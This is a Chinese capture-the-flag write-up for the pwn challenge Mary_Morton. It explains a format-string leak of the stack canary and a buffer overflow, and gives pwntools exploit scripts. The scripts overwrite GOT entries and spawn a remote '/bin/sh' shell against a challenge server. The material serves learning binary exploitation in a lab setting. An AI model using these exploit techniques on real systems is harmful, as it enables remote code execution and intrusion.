目录标题

  • 1、查看程序基本信息
  • 2、反编译程序
  • 3、攻击思路
    • (1)先利用功能2格式化字符串漏洞
    • (2)找到功能1的sub_400960()函数返回地址的位置
  • 方法二

1、查看程序基本信息

Mary_Morton程序,先用file查看:

Linux下64位的ELF文件
再用checksec查看

程序开启了Partial RELRO、NX和Canary,没有PIE。程序开启了canary,就不能直接利用栈溢出覆盖返回地址了。因为在初始化一个栈帧时在栈底(stack overflow发生的高位区域的尾部)设置一个随机的 canary 值,函数返回之时检测canary的值是否经过了改变。
运行程序:

功能1是栈溢出漏洞,功能2是格式化字符串漏洞,功能3是退出

2、反编译程序

我们再用IDA64打开,找到main函数:
main函数伪代码:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{int v3; // [rsp+24h] [rbp-Ch] BYREFunsigned __int64 v4; // [rsp+28h] [rbp-8h]v4 = __readfsqword(0x28u);sub_4009FF();puts("Welcome to the battle ! ");puts("[Great Fairy] level pwned ");puts("Select your weapon ");while ( 1 ){while ( 1 ){sub_4009DA();__isoc99_scanf("%d", &v3);if ( v3 != 2 )break;sub_4008EB();}if ( v3 == 3 ){puts("Bye ");exit(0);}if ( v3 == 1 )sub_400960();elseputs("Wrong!");}
}

main函数程序逻辑:根据输入的数字,功能2是调用sub_4008EB()函数,功能3是输出“Bye”后exit(0),功能1是sub_400960()函数。
功能2,sub_4008EB()函数伪代码:

unsigned __int64 sub_4008EB()
{char buf[136]; // [rsp+0h] [rbp-90h] BYREFunsigned __int64 v2; // [rsp+88h] [rbp-8h]v2 = __readfsqword(0x28u); //从位置 FS:[0x28u]读取双字的内容memset(buf, 0, 0x80uLL);                      read(0, buf, 0x7FuLL);printf(buf);return __readfsqword(0x28u) ^ v2;
}

sub_4008EB()函数程序逻辑:把输入的字符串复制127(0x7F)字节到buf数组中,之后printf(buf)输出buf数组中的内容,这里存在格式化字符串漏洞。
另外:v2 = __readfsqword(0x28u)就是canary的值,return __readfsqword(0x28u) ^ v2就是判断canary的值有没有被更改,被更改了异或的结果就会返回0,如下图所示:

返回0的时候就会调用___stack_chk_fail,停止程序运行。
功能1,sub_400960()函数伪代码:

unsigned __int64 sub_400960()
{char buf[136]; // [rsp+0h] [rbp-90h] BYREFunsigned __int64 v2; // [rsp+88h] [rbp-8h]v2 = __readfsqword(0x28u);memset(buf, 0, 0x80uLL);read(0, buf, 0x100uLL);printf("-> %s\n", buf);return __readfsqword(0x28u) ^ v2;
}

sub_400960()函数程序逻辑:把输入的字符串复制256(0x100)字节到buf数组中,这里存在一个缓冲区溢出漏洞,之后以字符串格式输出buf数组中的内容。
且上面的canary的值和功能2的值相同。

3、攻击思路

攻击思路:所以我们在这里需要利用格式化字符串和缓冲区溢出两个漏洞,先通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖。
在程序中有一个函数sub_4008DA,它就是负责调用system执行/bin/cat ./flag查看flag

所以我们的最终目的就是执行sub_4008DA函数。

(1)先利用功能2格式化字符串漏洞

首先确定格式化字符串和buf数组存储位置的距离,输入字符:
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

可以看到输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数的位置
在前面的代码中我们知道canary([rsp+88h] [rbp-8h])与buf数组([rsp+0h] [rbp-90h])的距离为0x88(136),然后八个字节为一组,136 / 8 = 17
那么canary和我们输入的字符串参数的距离就是17 + 6 = 23,也就是我们输出第23个参数就是canary
例如,我们打印出输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数:
AAAA%6$p

同样地,我们可以打印出canary的值
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
%23$p

可以看到输出23个%p的地址和直接输入第23个地址的值都是相同的canary值0x3e0a3eb3cb718a00

(2)找到功能1的sub_400960()函数返回地址的位置

之后我们要找到功能1的sub_400960()函数返回地址的位置,把它改为调用system输出flag的函数sub_4008DA的地址00000000004008DA。
我们先看一下功能2中sub_4008EB()函数的返回地址

返回地址的值是00000000004008B8,所在的位置是canary后面两个位置,相对于输入的字符串参数开始的位置就是第23+2=25个参数,距离(25-1)*8=192个字节

所以同样地,功能1的sub_400960()函数返回地址的位置就是00000000004008AC:

所以我们用pwntools漏洞利用开发库编写python代码来利用漏洞:

from pwn import *#运行本地的程序
connect=process('./Mary_Morton')
#建立一个到题目端口的远程连接
connect=remote('111.200.241.244',65145)
#接受消息直到收到输出3. Exit the battle的正则表达式
connect.recvuntil('3. Exit the battle')
#之后发送一行数据相当于在末尾加\n,字符'2'选择功能2
connect.sendline('2')
#发送字符'%23$p',让程序输出canary的值
connect.sendline('%23$p')
#接受到消息中'0x'的正则表达式
connect.recvuntil('0x')
#接收16个字节的数据,再转换成16进制
canary=int(connect.recv(16),16)
print(hex(canary))
#直到接收到到返回的字符串中包含'3. Exit the battle'
connect.recvuntil('3. Exit the battle')
#接着发送字符串'1'选择功能1
connect.sendline('1')#执行system输出flag的函数地址
flag_addr=0x4008DA
#攻击前22个地址都是填充数据,第23个是canary的值,之后继续一个地址8字节的填充数据,最后是system函数地址
payload='AAAAAAAA'*22+str(p64(canary))+'AAAAAAAA'+str(p64(flag_addr))
# 发送攻击
connect.sendline(payload)
# 进入交互模式
connect.interactive()

但是程序运行之后,依旧无法获得flag,查看内存,发现是64位操作系统的内存地址对齐的问题,函数地址写入之后需要和内存地址对齐不然程序就会崩溃。
同理,我们也找到了另外的两种修改函数地址的攻击思路:

方法二

2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址。

# coding=utf-8
#!/usr/bin/env python
#2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=process('./Mary_Morton')
#connect=remote('111.200.241.244',61195)
#获得elf文件got表的exit函数地址
exit_got = elf.got['exit']
sys_addr = 0x4008DA
connect.sendline('2')
#print(exit_got:sys_addr)
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{exit_got:sys_addr})
print(payload)
connect.sendline(payload)
connect.recvuntil('battle \n')
connect.sendline('3')
connect.recv()
connect.interactive()

运行结果:

成功执行system(‘/bin/cat ./flag’)输出flag。
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
方法三
3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 ‘/bin/sh’。

# coding=utf-8
#!/usr/bin/env python
# 3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 '/bin/sh'from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=remote('111.200.241.244',61195)
#connect=process('./Mary_Morton')
#获得elf文件got表的printf函数地址
printf_got = elf.got['printf']
sys_plt = 0x04006A0
connect.sendline('2')
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{printf_got:sys_plt})
connect.sendline(payload)
connect.recvuntil('battle \n')
connect.sendline('2')
#发送参数'/bin/sh',这样执行system('/bin/sh')就会获得权限
connect.sendline('/bin/sh')
connect.recv()
connect.interactive()

运行结果:

成功获得远程命令执行权限,查看当前目录下的flag文件
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
注意每个端口对应flag文件不同,我这个是端口61195下的flag。

XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)相关推荐

  1. XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)

    目录标题 方法一.堆叠注入 1.rename修改表名和alter change修改列名 2.rename修改表名和alter add添加列名 方法二.handler语句 方法三.预编译 打开题目地址 ...

  2. XCTF-攻防世界CTF平台-Web类——9、PHP2(.phps文件、url编码)

    先查看题目地址: 希望我们获得这个网站的权限,查看源代码也没有其他信息: 查看index页面: 之后尝试查看index.phps文件(.phps文件就是php的源代码文件,通常用于提供给访问者查看ph ...

  3. xctf攻防世界pwn基础题解(新手食用)

    文章目录 CGFsb 关于评论区的问题 when_did_you_born 脚本 备注: cgpwn2 目的: 溢出点: 构造shell: exp: strings Level3 status: up ...

  4. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  5. XCTF攻防世界 Normal_RSA

    XCTF攻防世界 Normal_RSA 实验环境: windows 10 实验所需工具: python工具: yafu (可以在https://github.com/DarkenCode/yafu上下 ...

  6. XCTF攻防世界Web新手入门题大全

    XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. XCTF攻防世界练习区-web题(新手)

    XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...

  9. XCTF(攻防世界)—进阶web题Write Up(二)

    前言:继续总结学到的新知识 mfw 在about页面发现,搭建网站时用了git,尝试一下是否为git源码泄露 输入: http://111.198.29.45:36544/.git/ 果然是源码泄露, ...

最新文章

  1. LeetCode: 104. Maximum Depth of Binary Tree
  2. C++中的变量不初始化是什么结果?(整型、bool型、字符型)结果都是随机的,不确定
  3. mysql handlers,2 Handlers
  4. R语言学习(10)获取数据
  5. vue中axios的封装以及使用
  6. surfaceView中的线程问题
  7. Mahmoud and a Dictionary CodeForces - 766D 种类并查集
  8. IoT -- (九) IoT通讯技术选型与模型设计
  9. 转]Linux杀死进程方法大全
  10. Linux离线同步时间
  11. 在Linux操作系统中使用手写板(转)
  12. python微信群管理开禁言_微信群主怎么禁言别人?微信群怎么让群员禁言?
  13. http是什么,其实很简单
  14. 黑马程序员————小牛皮糖学习笔记————IO流之未使用缓冲区读写文件
  15. 祛痘收缩毛孔的简单方法 - 生活至上,美容至尚!
  16. 饥荒服务器物品指令,流年饥荒控制台指令全+物品大全+服务器管理命令大全.docx...
  17. oracle log network server,记录一次ARC1: Destination LOG_ARCHIVE_DEST_2 network reconnect abandoned解决...
  18. 2016年全国高中数学联赛加试T3解答
  19. 10个超赞的HTML5框架加快Web开发
  20. 看了下李航的《统计学习方法》

热门文章

  1. 连续十年亏损,哔哩哔哩估值遭质疑
  2. 《感遇·其二》 作者:张九龄
  3. amd 15.12 for linux64,AMD 发布Radeon Crimson Edition 15.12 WHQL
  4. 玉簪花by berta『转载』
  5. 王爽 《汇编语言》 读书笔记 十 CALL和RET指令
  6. 如何使用损坏的电源按钮锁定iPhone 或 iPad?
  7. Macbook怎么清理系统垃圾? Macbook日常维护教程
  8. 量子隐形材料效果强悍 美军将用于军事领域
  9. 我的世界玩红石java_我的世界:一个红石渣也能学会的“TNT轰炸机”,不信你来试试?...
  10. python skimage 不显示图片